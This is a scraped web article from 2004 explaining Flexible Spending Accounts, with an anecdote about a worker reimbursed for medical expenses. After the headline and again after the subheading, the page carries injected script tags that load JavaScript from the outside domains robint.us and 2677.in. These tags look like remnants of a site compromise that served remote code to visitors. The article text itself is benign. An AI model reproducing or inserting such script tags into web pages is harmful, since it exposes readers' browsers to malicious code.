Give Yourself a Raise, Get a Flexible Spending Account<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Greg Stevens, interactive DAD Staff Writer - Nov. 1, 2004
Tired of paying those out-of-pocket medical expenses? Here's how you can do it tax-free.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
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 When Tom Smith (not his real name) pulled into the driveway and prepared to check the mail after a grueling day at the office he expected to find bills. 

 

He wasn’t disappointed.

 

But he also discovered something else:  A check from his insurance company for nearly $100. It wasn’t a refund.  It was reimbursement for contact lens solution, prescription co-payments for himself, his wife and his daughter, and for Claritin he bought for his allergies.

 

The check came from his health insurance company.  It was payback for opening a Flexible Spending Account or FSA.

 

WHAT IS AN FSA?

 

When Smith heard about FSAs a few years ago, he thought they sounded too good to be true.  He’s a true believer now. Like clockwork, he pays $1500 in pre-tax dollars into the account when it’s time to sign up.  He gets it all back in reimbursement checks throughout the course of the year.

 

An FSA is a benefit program offered by employers that allows you to set aside pre-tax money for certain health care expenses. 

 

The pre-tax part is the key.  He pays no taxes on that money—and he gets reimbursed tax-free.  In Smith’s 28% tax bracket, that’s quite a savings. In other words, he keeps more of his money.

 

GROWING POPULAR

 

How they work is simple.  You elect how much money you transfer from your paycheck before taxes are taken out.  When you have an out-of-pocket expense, you submit your receipts and appropriate documentation and get reimbursed.

 

Many things are included.  It varies from plan to plan.  Just keep in mind not everything is covered. Massages, for example, may or may not be covered.  You may need a doctor referral for it to be included.  Check with your insurance company FIRST.

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